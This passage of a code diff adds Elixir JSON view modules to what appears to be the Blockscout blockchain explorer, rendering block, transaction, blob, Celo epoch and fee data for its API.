indicating the direction of the message, its status + # and the associated L1 transaction. + @spec extend_if_message(map(), %{ + :__struct__ => Transaction, + optional(:arbitrum_message_to_l2) => any(), + optional(:arbitrum_message_from_l2) => any(), + optional(any()) => any() + }) :: map() + defp extend_if_message(arbitrum_json, %Transaction{} = arbitrum_transaction) do + {message_type, message_data} = + case {APIV2Helper.specified?(Map.get(arbitrum_transaction, :arbitrum_message_to_l2)), + APIV2Helper.specified?(Map.get(arbitrum_transaction, :arbitrum_message_from_l2))} do + {true, false} -> + {"incoming", l1_transaction_and_status_for_message(arbitrum_transaction, :incoming)} + + {false, true} -> + {"outcoming", l1_transaction_and_status_for_message(arbitrum_transaction, :outcoming)} + + _ -> + {nil, %{}} + end + + arbitrum_json + |> Map.put("contains_message", message_type) + |> Map.put("message_related_info", message_data) + end + + # Determines the associated L1 transaction and its status for the given message direction. + # TODO: it's need to take into account the tx on L2 may initiate several withdrawals. + # The current architecture doesn't support that. + @spec l1_transaction_and_status_for_message( + %{ + :__struct__ => Transaction, + optional(:arbitrum_message_to_l2) => any(), + optional(:arbitrum_message_from_l2) => any(), + optional(any()) => any() + }, + :incoming | :outcoming + ) :: map() + defp l1_transaction_and_status_for_message(arbitrum_transaction, message_direction) do + {l1_transaction, status} = + case message_direction do + :incoming -> + l1_transaction = + APIV2Helper.get_2map_data(arbitrum_transaction, :arbitrum_message_to_l2, :originating_transaction_hash) + + if is_nil(l1_transaction) do + {nil, "Syncing with base layer"} + else + {l1_transaction, "Relayed"} + end + + :outcoming -> + case APIV2Helper.get_2map_data(arbitrum_transaction, :arbitrum_message_from_l2, :status) do + :initiated -> + {nil, "Settlement pending"} + + :sent -> + {nil, "Waiting for confirmation"} + + :confirmed -> + {nil, "Ready for relay"} + + :relayed -> + {APIV2Helper.get_2map_data(arbitrum_transaction, :arbitrum_message_from_l2, :completion_transaction_hash), + "Relayed"} + end + end + + %{ + "message_id" => APIV2Helper.get_2map_data(arbitrum_transaction, :arbitrum_message_from_l2, :message_id), + "associated_l1_transaction_hash" => l1_transaction, + "message_status" => status + } + end + + # Extends the output JSON with information from Arbitrum-specific fields of the transaction. + @spec extend_with_transaction_info(map(), %{ + :__struct__ => Transaction, + optional(:gas_used_for_l1) => Decimal.t(), + optional(any()) => any() + }) :: map() + defp extend_with_transaction_info(out_json, %Transaction{} = arbitrum_transaction) do + # Map.get is only needed for the case when the module is compiled with + # chain_type different from "arbitrum", `|| 0` is used to avoid nil values + # for the transaction prior to the migration to Arbitrum specific BS build. + gas_used_for_l1 = Map.get(arbitrum_transaction, :gas_used_for_l1) || Decimal.new(0) + + gas_used = Map.get(arbitrum_transaction, :gas_used) || Decimal.new(0) + gas_price = Map.get(arbitrum_transaction, :gas_price) || %Wei{value: Decimal.new(0)} + + gas_used_for_l2 = + gas_used + |> Decimal.sub(gas_used_for_l1) + + poster_fee = + gas_price + |> Wei.to(:wei) + |> Decimal.mult(gas_used_for_l1) + + network_fee = + gas_price + |> Wei.to(:wei) + |> Decimal.mult(gas_used_for_l2) + + out_json + |> Map.put("gas_used_for_l1", gas_used_for_l1) + |> Map.put("gas_used_for_l2", gas_used_for_l2) + |> Map.put("poster_fee", poster_fee) + |> Map.put("network_fee", network_fee) + end + + # Extends the output JSON with information from the Arbitrum-specific fields of the block. + @spec extend_with_block_info(map(), %{ + :__struct__ => Block, + optional(:send_count) => non_neg_integer(), + optional(:send_root) => Hash.Full.t(), + optional(:l1_block_number) => non_neg_integer(), + optional(any()) => any() + }) :: map() + defp extend_with_block_info(out_json, %Block{} = arbitrum_block) do + out_json + |> Map.put("delayed_messages", Hash.to_integer(arbitrum_block.nonce)) + |> Map.put("l1_block_number", Map.get(arbitrum_block, :l1_block_number)) + |> Map.put("send_count", Map.get(arbitrum_block, :send_count)) + |> Map.put("send_root", Map.get(arbitrum_block, :send_root)) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/blob_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/blob_view.ex new file mode 100644 index 000000000000..fcb792ac095e --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/blob_view.ex @@ -0,0 +1,23 @@ +defmodule BlockScoutWeb.API.V2.BlobView do + use BlockScoutWeb, :view + + alias Explorer.Chain.Beacon.Blob + + def render("blob.json", %{blob: blob, transaction_hashes: transaction_hashes}) do + blob |> prepare_blob() |> Map.put("transaction_hashes", transaction_hashes) + end + + def render("blobs.json", %{blobs: blobs}) do + %{"items" => Enum.map(blobs, &prepare_blob(&1))} + end + + @spec prepare_blob(Blob.t()) :: map() + def prepare_blob(blob) do + %{ + "hash" => blob.hash, + "blob_data" => blob.blob_data, + "kzg_commitment" => blob.kzg_commitment, + "kzg_proof" => blob.kzg_proof + } + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/block_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/block_view.ex new file mode 100644 index 000000000000..92f5c390bc47 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/block_view.ex @@ -0,0 +1,182 @@ +defmodule BlockScoutWeb.API.V2.BlockView do + use BlockScoutWeb, :view + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias BlockScoutWeb.BlockView + alias BlockScoutWeb.API.V2.{ApiView, Helper} + alias Explorer.Chain.Block + + def render("message.json", assigns) do + ApiView.render("message.json", assigns) + end + + def render("blocks.json", %{blocks: blocks, next_page_params: next_page_params}) do + %{"items" => Enum.map(blocks, &prepare_block(&1, nil)), "next_page_params" => next_page_params} + end + + def render("blocks.json", %{blocks: blocks}) do + Enum.map(blocks, &prepare_block(&1, nil)) + end + + def render("block.json", %{block: block, conn: conn}) do + prepare_block(block, conn, true) + end + + def render("block.json", %{block: block, socket: _socket}) do + # single_block? set to true in order to prevent heavy fetching of reward type + prepare_block(block, nil, false) + end + + def render("block_countdown.json", %{ + current_block: current_block, + countdown_block: countdown_block, + remaining_blocks: remaining_blocks, + estimated_time_in_sec: estimated_time_in_sec + }) do + %{ + current_block_number: current_block, + countdown_block_number: countdown_block, + remaining_blocks_count: remaining_blocks, + estimated_time_in_seconds: to_string(estimated_time_in_sec) + } + end + + def prepare_block(block, _conn, single_block? \\ false) do + block = Block.aggregate_transactions(block) + + %{ + "height" => block.number, + "timestamp" => block.timestamp, + "transactions_count" => block.transactions_count, + "internal_transactions_count" => count_internal_transactions(block), + "miner" => Helper.address_with_info(nil, block.miner, block.miner_hash, false), + "size" => block.size, + "hash" => block.hash, + "parent_hash" => block.parent_hash, + "difficulty" => block.difficulty, + "total_difficulty" => block.total_difficulty, + "gas_used" => block.gas_used, + "gas_limit" => block.gas_limit, + "nonce" => block.nonce, + "base_fee_per_gas" => block.base_fee_per_gas, + "burnt_fees" => block.burnt_fees, + "priority_fee" => block.priority_fees, + # "extra_data" => "TODO", + "uncles_hashes" => prepare_uncles(block.uncle_relations), + # "state_root" => "TODO", + "rewards" => prepare_rewards(block.rewards, block, single_block?), + "gas_target_percentage" => Block.gas_target(block), + "gas_used_percentage" => Block.gas_used_percentage(block), + "burnt_fees_percentage" => burnt_fees_percentage(block.burnt_fees, block.transactions_fees), + "type" => block |> BlockView.block_type() |> String.downcase(), + "transaction_fees" => block.transactions_fees, + "withdrawals_count" => count_withdrawals(block), + "is_pending_update" => block.refetch_needed + } + |> chain_type_fields(block, single_block?) + end + + def prepare_rewards(rewards, block, single_block?) do + Enum.map(rewards, &prepare_reward(&1, block, single_block?)) + end + + def prepare_reward(reward, block, single_block?) do + %{ + "reward" => reward.reward, + "type" => if(single_block?, do: BlockView.block_reward_text(reward, block.miner.hash), else: reward.address_type) + } + end + + def prepare_uncles(uncles_relations) when is_list(uncles_relations) do + Enum.map(uncles_relations, &prepare_uncle/1) + end + + def prepare_uncles(_), do: [] + + def prepare_uncle(uncle_relation) do + %{"hash" => uncle_relation.uncle_hash} + end + + def burnt_fees_percentage(_, %Decimal{coef: 0}), do: nil + + def burnt_fees_percentage(burnt_fees, transaction_fees) + when not is_nil(transaction_fees) and not is_nil(burnt_fees) do + burnt_fees |> Decimal.div(transaction_fees) |> Decimal.mult(100) |> Decimal.to_float() + end + + def burnt_fees_percentage(_, _), do: nil + + defp count_internal_transactions(%Block{internal_transactions: internal_transactions}) + when is_list(internal_transactions), + do: Enum.count(internal_transactions) + + defp count_internal_transactions(_), do: nil + + defp count_withdrawals(%Block{withdrawals: withdrawals}) when is_list(withdrawals), do: Enum.count(withdrawals) + defp count_withdrawals(_), do: nil + + case @chain_type do + :rsk -> + defp chain_type_fields(result, block, single_block?) do + if single_block? do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.RootstockView.extend_block_json_response(result, block) + else + result + end + end + + :optimism -> + defp chain_type_fields(result, block, single_block?) do + if single_block? do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.OptimismView.extend_block_json_response(result, block) + else + result + end + end + + :zksync -> + defp chain_type_fields(result, block, single_block?) do + if single_block? do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.ZkSyncView.extend_block_json_response(result, block) + else + result + end + end + + :arbitrum -> + defp chain_type_fields(result, block, single_block?) do + if single_block? do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.ArbitrumView.extend_block_json_response(result, block) + else + result + end + end + + :ethereum -> + defp chain_type_fields(result, block, single_block?) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.EthereumView.extend_block_json_response(result, block, single_block?) + end + + :celo -> + defp chain_type_fields(result, block, single_block?) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.CeloView.extend_block_json_response(result, block, single_block?) + end + + :zilliqa -> + defp chain_type_fields(result, block, single_block?) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.ZilliqaView.extend_block_json_response(result, block, single_block?) + end + + _ -> + defp chain_type_fields(result, _block, _single_block?) do + result + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/celo_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/celo_view.ex new file mode 100644 index 000000000000..d3c123a823a3 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/celo_view.ex @@ -0,0 +1,601 @@ +defmodule BlockScoutWeb.API.V2.CeloView do + @moduledoc """ + View functions for rendering Celo-related data in JSON format. + """ + use BlockScoutWeb, :view + + require Logger + + import Explorer.Chain.SmartContract, only: [dead_address_hash_string: 0] + + alias BlockScoutWeb.API.V2.{Helper, TokenTransferView, TokenView, TransactionView} + alias Explorer.Chain + alias Explorer.Chain.Cache.{CeloCoreContracts, CeloEpochs} + alias Explorer.Chain.Celo.Helper, as: CeloHelper + alias Explorer.Chain.Celo.{Epoch, EpochReward} + alias Explorer.Chain.{Address.Reputation, Block, Token, TokenTransfer, Transaction, Wei} + + @address_params [ + necessity_by_association: %{ + :names => :optional, + :smart_contract => :optional, + proxy_implementations_association() => :optional + }, + api?: true + ] + + @token_params [ + necessity_by_association: %{ + Reputation.reputation_association() => :optional + }, + api?: true + ] + + def render("celo_epochs.json", %{ + epochs: epochs, + next_page_params: next_page_params + }) do + %{ + items: Enum.map(epochs, &prepare_epoch/1), + next_page_params: next_page_params + } + end + + def render("celo_epoch.json", %{ + epoch: epoch, + aggregated_election_rewards: aggregated_election_rewards + }) do + distribution_json = + epoch.distribution + |> prepare_distribution() + + aggregated_election_rewards_json = + epoch + |> prepare_aggregated_election_rewards(aggregated_election_rewards) + + %{ + number: epoch.number, + type: epoch_type(epoch), + is_finalized: epoch.fetched?, + start_block_number: epoch.start_block_number, + end_block_number: epoch.end_block_number, + distribution: distribution_json, + aggregated_election_rewards: aggregated_election_rewards_json, + timestamp: epoch.end_processing_block && epoch.end_processing_block.timestamp, + start_processing_block_hash: epoch.start_processing_block && epoch.start_processing_block.hash, + start_processing_block_number: epoch.start_processing_block && epoch.start_processing_block.number, + end_processing_block_hash: epoch.end_processing_block && epoch.end_processing_block.hash, + end_processing_block_number: epoch.end_processing_block && epoch.end_processing_block.number + } + end + + def render("celo_base_fee.json", %Block{} = block) do + block.transactions + |> Block.burnt_fees(block.base_fee_per_gas) + |> Wei.cast() + |> case do + {:ok, base_fee} -> + # For the blocks, where both FeeHandler and Governance contracts aren't + # deployed, the base fee is not burnt, but refunded to transaction sender, + # so we return nil in this case. + fee_handler_base_fee_breakdown( + base_fee, + block.number + ) || + governance_base_fee_breakdown( + base_fee, + block.number + ) + + _ -> + nil + end + end + + def render("celo_epoch_election_rewards.json", %{ + rewards: rewards, + next_page_params: next_page_params + }) do + rewards_json = + rewards + |> Enum.map(fn reward -> + %{ + amount: reward.amount, + account: + Helper.address_with_info( + reward.account_address, + reward.account_address_hash + ), + associated_account: + Helper.address_with_info( + reward.associated_account_address, + reward.associated_account_address_hash + ) + } + end) + + %{ + items: rewards_json, + next_page_params: next_page_params + } + end + + def render("celo_address_election_rewards.json", %{ + rewards: rewards, + next_page_params: next_page_params + }) do + rewards_json = + rewards + |> Enum.map(fn reward -> + %{ + amount: reward.amount, + epoch_number: reward.epoch_number, + block_timestamp: reward.epoch.end_processing_block.timestamp, + account: + Helper.address_with_info( + reward.account_address, + reward.account_address_hash + ), + associated_account: + Helper.address_with_info( + reward.associated_account_address, + reward.associated_account_address_hash + ), + type: reward.type, + token: + TokenView.render("token.json", %{ + token: reward.token, + contract_address_hash: reward.token.contract_address_hash + }) + } + end) + + %{ + "items" => rewards_json, + "next_page_params" => next_page_params + } + end + + defp prepare_aggregated_election_rewards(%Epoch{fetched?: false}, _), do: nil + + defp prepare_aggregated_election_rewards(%Epoch{} = epoch, aggregated_election_rewards) do + aggregated_election_rewards + |> Map.new(fn {type, %{total: total, count: count, token: token}} -> + {type, + %{ + total: total, + count: count, + token: + TokenView.render("token.json", %{ + token: token, + contract_address_hash: token && token.contract_address_hash + }) + }} + end) + # For L2, delegated payments are implemented differently. They're + # distributed on-demand via direct payments rather than through epoch + # processing, so we need to handle them separately. + |> then(fn rewards -> + if CeloHelper.pre_migration_epoch_number?(epoch.number) do + rewards + else + rewards + |> Map.put(:delegated_payment, nil) + end + end) + end + + @doc """ + Returns the type of the epoch based on its number. If the epoch number is less + than the migration epoch number, it returns "L1", otherwise "L2". This is used + to differentiate between the two eras of Celo epochs. + """ + @spec epoch_type(Epoch.t()) :: String.t() + def epoch_type(epoch) do + epoch.number + |> CeloHelper.pre_migration_epoch_number?() + |> if(do: "L1", else: "L2") + end + + @doc """ + Extends the JSON output with a sub-map containing information related to Celo, + such as the epoch number, whether the block is an epoch block, and the routing + of the base fee. + + ## Parameters + - `out_json`: A map defining the output JSON which will be extended. + - `block`: The block structure containing Celo-related data. + - `single_block?`: A boolean indicating if it is a single block. + + ## Returns + - A map extended with data related to Celo. + """ + def extend_block_json_response(out_json, block, single_block?) do + epoch_number = CeloEpochs.block_number_to_epoch_number(block.number) + + l1_era_finalized_epoch_number = + if CeloHelper.pre_migration_block_number?(block.number) and + CeloHelper.epoch_block_number?(block.number) do + epoch_number - 1 + else + nil + end + + celo_json = + %{ + # todo: keep `is_epoch_block = false` for compatibility with frontend and remove + # when new frontend is bound to `l1_era_finalized_epoch_number` property + is_epoch_block: false, + l1_era_finalized_epoch_number: l1_era_finalized_epoch_number, + epoch_number: epoch_number + } + |> maybe_add_base_fee_info(block, single_block?) + + Map.put(out_json, :celo, celo_json) + end + + @doc """ + Extends the JSON output with a sub-map containing information about the gas + token used to pay for the transaction fees. + + ## Parameters + - `out_json`: A map defining the output JSON which will be extended. + - `transaction`: The transaction structure containing Celo-related data. + + ## Returns + - A map extended with data related to the gas token. + """ + def extend_transaction_json_response(out_json, %Transaction{} = transaction) do + token_json = + case { + Map.get(transaction, :gas_token_contract_address), + Map.get(transaction, :gas_token) + } do + # {_, %NotLoaded{}} -> + # nil + + {nil, _} -> + nil + + {gas_token_contract_address, gas_token} -> + if is_nil(gas_token) do + Logger.error(fn -> + [ + "Transaction #{transaction.hash} has a ", + "gas token contract address #{gas_token_contract_address} ", + "but no associated token found in the database" + ] + end) + end + + TokenView.render("token.json", %{ + token: gas_token, + contract_address_hash: gas_token_contract_address + }) + end + + Map.put(out_json, "celo", %{"gas_token" => token_json}) + end + + @spec prepare_epoch(Epoch.t()) :: map() + defp prepare_epoch(epoch) do + distribution_json = + if epoch.distribution do + community_transfer = + epoch.distribution.community_transfer && + epoch.distribution.community_transfer + |> TokenTransferView.prepare_token_transfer_total() + + carbon_offsetting_transfer = + epoch.distribution.carbon_offsetting_transfer && + epoch.distribution.carbon_offsetting_transfer + |> TokenTransferView.prepare_token_transfer_total() + + reserve_bolster_transfer = + epoch.distribution.reserve_bolster_transfer && + epoch.distribution.reserve_bolster_transfer + |> TokenTransferView.prepare_token_transfer_total() + + result = calculate_total_epoch_rewards(epoch.distribution) + + %{ + community_transfer: community_transfer, + carbon_offsetting_transfer: carbon_offsetting_transfer, + reserve_bolster_transfer: reserve_bolster_transfer, + transfers_total: result && result.total + } + end + + %{ + number: epoch.number, + type: epoch_type(epoch), + start_block_number: epoch.start_block_number, + end_block_number: epoch.end_block_number, + timestamp: epoch.end_processing_block && epoch.end_processing_block.timestamp, + is_finalized: epoch.fetched?, + distribution: distribution_json + } + end + + @spec prepare_distribution(EpochReward.t() | nil) :: + %{ + optional(:reserve_bolster_transfer) => nil | %{optional(String.t()) => any()}, + optional(:community_transfer) => nil | %{optional(String.t()) => any()}, + optional(:carbon_offsetting_transfer) => nil | %{optional(String.t()) => any()} + } + | nil + defp prepare_distribution(%EpochReward{} = distribution) do + transfers_json = + Map.new( + [ + reserve_bolster_transfer: distribution.reserve_bolster_transfer, + community_transfer: distribution.community_transfer, + carbon_offsetting_transfer: distribution.carbon_offsetting_transfer + ], + fn {field, token_transfer} -> + token_transfer_json = + token_transfer && + TransactionView.render( + "token_transfer.json", + %{token_transfer: token_transfer, conn: nil} + ) + + {field, token_transfer_json} + end + ) + + total = calculate_total_epoch_rewards(distribution) + + transfers_json + |> Map.put(:transfers_total, total) + end + + defp prepare_distribution(_), do: nil + + @doc """ + Calculates the total sum of all epoch reward transfers with token information. + + This function sums up all non-nil token transfers (reserve_bolster_transfer, + community_transfer, carbon_offsetting_transfer) and ensures they all use the + same token. If different tokens are found, it raises an error. + + ## Parameters + - `transfers_map` (`map()`): Map containing the rendered token transfers. + + ## Returns + - `%{token: map(), total: %{decimals: Decimal.t(), value: Decimal.t()}}`: + Token info and total sum, or `nil` if no transfers exist. + + ## Raises + - `ArgumentError`: If transfers use different tokens. + + ## Example + iex> transfers = %{ + ...> reserve_bolster_transfer: %{"token" => %{"address_hash" => "0xABC..."}, "total" => %{"value" => Decimal.new("100")}}, + ...> community_transfer: %{"token" => %{"address_hash" => "0xABC..."}, "total" => %{"value" => Decimal.new("200")}} + ...> } + iex> calculate_total_epoch_rewards(transfers) + %{ + token: %{"address_hash" => "0xABC...", ...}, + total: %{decimals: Decimal.new("18"), value: Decimal.new("300")} + } + """ + @spec calculate_total_epoch_rewards(map()) :: map() | nil + def calculate_total_epoch_rewards(distribution) do + transfers = + [ + distribution.reserve_bolster_transfer, + distribution.community_transfer, + distribution.carbon_offsetting_transfer + ] + |> Enum.reject(&is_nil/1) + + case transfers do + [] -> + nil + + [first_transfer | rest_transfers] -> + case validate_and_extract_token(first_transfer, rest_transfers) do + {:ok, token} -> + total_value = + transfers + |> Enum.map(&(&1 |> TokenTransferView.prepare_token_transfer_total() |> Map.get("value"))) + |> Enum.reduce(Decimal.new(0), &Decimal.add/2) + + token_json = + TokenView.render("token.json", %{ + token: token, + contract_address_hash: token.contract_address_hash + }) + + %{ + token: token_json, + total: %{ + decimals: token.decimals, + value: total_value + } + } + + :error -> + raise ArgumentError, + "All transfers must use the same token, but found different tokens: #{inspect(transfers)}" + end + end + end + + @spec validate_and_extract_token(TokenTransfer.t(), [TokenTransfer.t()]) :: + {:ok, Token.t()} | :error + defp validate_and_extract_token(first_transfer, rest_transfers) do + with token when not is_nil(token) <- first_transfer.token, + true <- + Enum.all?( + rest_transfers, + &(&1.token && &1.token.contract_address_hash == token.contract_address_hash) + ) do + {:ok, token} + else + _ -> :error + end + end + + # Get the breakdown of the base fee for the case when FeeHandler is a contract + # that receives the base fee. + @spec fee_handler_base_fee_breakdown(Wei.t(), Block.block_number()) :: + %{ + :recipient => %{optional(String.t()) => any()}, + :amount => float(), + :breakdown => [ + %{ + :address => %{optional(String.t()) => any()}, + :amount => float(), + :percentage => float() + } + ] + } + | nil + defp fee_handler_base_fee_breakdown(base_fee, block_number) do + with {:ok, fee_handler_contract_address_hash} <- + CeloCoreContracts.get_address(:fee_handler, block_number), + {:ok, %{"address_hash" => fee_beneficiary_address_hash}} <- + CeloCoreContracts.get_event(:fee_handler, :fee_beneficiary_set, block_number), + {:ok, %{"value" => burn_fraction_fixidity_lib}} <- + CeloCoreContracts.get_event(:fee_handler, :burn_fraction_set, block_number), + {:ok, celo_token_address_hash} <- CeloCoreContracts.get_address(:celo_token, block_number) do + burn_fraction = CeloHelper.burn_fraction_decimal(burn_fraction_fixidity_lib) + + burnt_amount = Wei.mult(base_fee, burn_fraction) + burnt_percentage = Decimal.mult(burn_fraction, 100) + + carbon_offsetting_amount = Wei.sub(base_fee, burnt_amount) + carbon_offsetting_percentage = Decimal.sub(100, burnt_percentage) + + celo_burn_address_hash_string = dead_address_hash_string() + + address_hashes_to_fetch_from_db = [ + fee_handler_contract_address_hash, + fee_beneficiary_address_hash, + celo_burn_address_hash_string + ] + + address_hash_string_to_address = + address_hashes_to_fetch_from_db + |> Enum.map(&(&1 |> Chain.string_to_address_hash() |> elem(1))) + # todo: Querying database in the view is not a good practice. Consider + # refactoring. + |> Chain.hashes_to_addresses(@address_params) + |> Map.new(fn address -> + { + to_string(address.hash), + address + } + end) + + %{ + ^fee_handler_contract_address_hash => fee_handler_contract_address_info, + ^fee_beneficiary_address_hash => fee_beneficiary_address_info, + ^celo_burn_address_hash_string => burn_address_info + } = + Map.new( + address_hashes_to_fetch_from_db, + &{ + &1, + Helper.address_with_info( + Map.get(address_hash_string_to_address, &1), + &1 + ) + } + ) + + celo_token = Token.get_by_contract_address_hash(celo_token_address_hash, @token_params) + + %{ + recipient: fee_handler_contract_address_info, + amount: base_fee, + token: + TokenView.render("token.json", %{ + token: celo_token, + contract_address_hash: celo_token.contract_address_hash + }), + breakdown: [ + %{ + address: burn_address_info, + amount: burnt_amount, + percentage: Decimal.to_float(burnt_percentage) + }, + %{ + address: fee_beneficiary_address_info, + amount: carbon_offsetting_amount, + percentage: Decimal.to_float(carbon_offsetting_percentage) + } + ] + } + else + _ -> nil + end + end + + # Get the breakdown of the base fee for the case when Governance is a contract + # that receives the base fee. + # + # Note that the base fee is not burnt in this case, but simply kept on the + # contract balance. + @spec governance_base_fee_breakdown(Wei.t(), Block.block_number()) :: + %{ + :recipient => %{optional(String.t()) => any()}, + :amount => float(), + :breakdown => [ + %{ + :address => %{optional(String.t()) => any()}, + :amount => float(), + :percentage => float() + } + ] + } + | nil + defp governance_base_fee_breakdown(base_fee, block_number) do + with {:ok, address_hash_string} when not is_nil(address_hash_string) <- + CeloCoreContracts.get_address(:governance, block_number), + {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), + {:ok, celo_token_address_hash} <- CeloCoreContracts.get_address(:celo_token, block_number) do + address = + address_hash + # todo: Querying database in the view is not a good practice. Consider + # refactoring. + |> Chain.hash_to_address(@address_params) + |> case do + {:ok, address} -> address + {:error, :not_found} -> nil + end + + address_with_info = + Helper.address_with_info( + address, + address_hash + ) + + celo_token = Token.get_by_contract_address_hash(celo_token_address_hash, @token_params) + + %{ + recipient: address_with_info, + amount: base_fee, + token: + TokenView.render("token.json", %{ + token: celo_token, + contract_address_hash: celo_token.contract_address_hash + }), + breakdown: [] + } + else + _ -> + nil + end + end + + defp maybe_add_base_fee_info(celo_json, block_or_transaction, true) do + base_fee_breakdown_json = render("celo_base_fee.json", block_or_transaction) + Map.put(celo_json, "base_fee", base_fee_breakdown_json) + end + + defp maybe_add_base_fee_info(celo_json, _block_or_transaction, false), + do: celo_json +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/config_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/config_view.ex new file mode 100644 index 000000000000..3e744ccd4ddd --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/config_view.ex @@ -0,0 +1,7 @@ +defmodule BlockScoutWeb.API.V2.ConfigView do + def render("backend_version.json", %{version: version}) do + %{ + "backend_version" => version + } + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/ethereum/deposit_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/ethereum/deposit_view.ex new file mode 100644 index 000000000000..92495c340f7d --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/ethereum/deposit_view.ex @@ -0,0 +1,40 @@ +defmodule BlockScoutWeb.API.V2.Ethereum.DepositView do + use BlockScoutWeb, :view + + alias BlockScoutWeb.API.V2.Helper + alias Explorer.Chain.Beacon.Deposit + + def render("deposits.json", %{deposits: deposits, next_page_params: next_page_params}) do + %{"items" => Enum.map(deposits, &prepare_deposit/1), "next_page_params" => next_page_params} + end + + @spec prepare_deposit(Deposit.t()) :: map() + def prepare_deposit(deposit) do + %{ + "index" => deposit.index, + "transaction_hash" => deposit.transaction_hash, + "block_hash" => deposit.block_hash, + "block_number" => deposit.block_number, + "block_timestamp" => deposit.block_timestamp, + "pubkey" => deposit.pubkey, + "withdrawal_credentials" => deposit.withdrawal_credentials, + "withdrawal_address" => + Helper.address_with_info( + nil, + deposit.withdrawal_address, + deposit.withdrawal_address_hash, + false + ), + "amount" => deposit.amount, + "signature" => deposit.signature, + "status" => deposit.status, + "from_address" => + Helper.address_with_info( + nil, + deposit.from_address, + deposit.from_address_hash, + false + ) + } + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/ethereum_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/ethereum_view.ex new file mode 100644 index 000000000000..5ed6506cdcd5 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/ethereum_view.ex @@ -0,0 +1,48 @@ +defmodule BlockScoutWeb.API.V2.EthereumView do + alias Explorer.Chain.{Block, Transaction} + + def extend_transaction_json_response(out_json, %Transaction{} = transaction) do + case Map.get(transaction, :beacon_blob_transaction) do + nil -> + out_json + + %Ecto.Association.NotLoaded{} -> + out_json + + item -> + out_json + |> Map.put("max_fee_per_blob_gas", item.max_fee_per_blob_gas) + |> Map.put("blob_versioned_hashes", item.blob_versioned_hashes) + |> Map.put("blob_gas_used", item.blob_gas_used) + |> Map.put("blob_gas_price", item.blob_gas_price) + |> Map.put("burnt_blob_fee", Decimal.mult(item.blob_gas_used, item.blob_gas_price)) + end + end + + def extend_block_json_response(out_json, %Block{} = block, single_block?) do + blob_gas_used = Map.get(block, :blob_gas_used) + excess_blob_gas = Map.get(block, :excess_blob_gas) + beacon_deposits = Map.get(block, :beacon_deposits, []) + + blob_transaction_count = block.blob_transactions_count + + extended_out_json = + out_json + |> Map.put("blob_transactions_count", blob_transaction_count) + |> Map.put("blob_gas_used", blob_gas_used) + |> Map.put("excess_blob_gas", excess_blob_gas) + + if single_block? do + blob_gas_price = Block.transaction_blob_gas_price(block.transactions) + burnt_blob_transaction_fees = Decimal.mult(blob_gas_used || 0, blob_gas_price || 0) + + extended_out_json + |> Map.put("blob_gas_price", blob_gas_price) + |> Map.put("burnt_blob_fees", burnt_blob_transaction_fees) + |> Map.put("beacon_deposits_count", Enum.count(beacon_deposits)) + else + extended_out_json + |> Map.put("beacon_deposits_count", nil) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/filecoin_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/filecoin_view.ex new file mode 100644 index 000000000000..e6c09d839aca --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/filecoin_view.ex @@ -0,0 +1,114 @@ +defmodule BlockScoutWeb.API.V2.FilecoinView do + @moduledoc """ + View functions for rendering Filecoin-related data in JSON format. + """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + if @chain_type == :filecoin do + # TODO: remove when https://github.com/elixir-lang/elixir/issues/13975 comes to elixir release + alias Explorer.Chain, warn: false + alias Explorer.Chain.Address, warn: false + + @api_true [api?: true] + + @doc """ + Extends the json output with a sub-map containing information related to + Filecoin native addressing. + """ + @spec extend_address_json_response(map(), Address.t()) :: map() + def extend_address_json_response( + result, + %Address{filecoin_id: filecoin_id, filecoin_robust: filecoin_robust, filecoin_actor_type: filecoin_actor_type} + ) do + Map.put(result, :filecoin, %{ + id: filecoin_id, + robust: filecoin_robust, + actor_type: filecoin_actor_type + }) + end + + @spec preload_and_put_filecoin_robust_address(map(), %{ + optional(:address_hash) => String.t() | nil, + optional(:field_prefix) => String.t() | nil, + optional(any) => any + }) :: + map() + def preload_and_put_filecoin_robust_address(result, %{address_hash: address_hash} = params) do + address = address_hash && Address.get(address_hash, @api_true) + + put_filecoin_robust_address(result, Map.put(params, :address, address)) + end + + def preload_and_put_filecoin_robust_address(result, _params) do + result + end + + @doc """ + Adds a Filecoin robust address to the given result. + + ## Parameters + + - result: The initial result to which the Filecoin robust address will be added. + - opts: A map containing the following keys: + - `:address` - A struct containing the `filecoin_robust` address. + - `:field_prefix` - A prefix to be used for the field name in the result. + + ## Returns + + The updated result with the Filecoin robust address added. + """ + @spec put_filecoin_robust_address(map(), 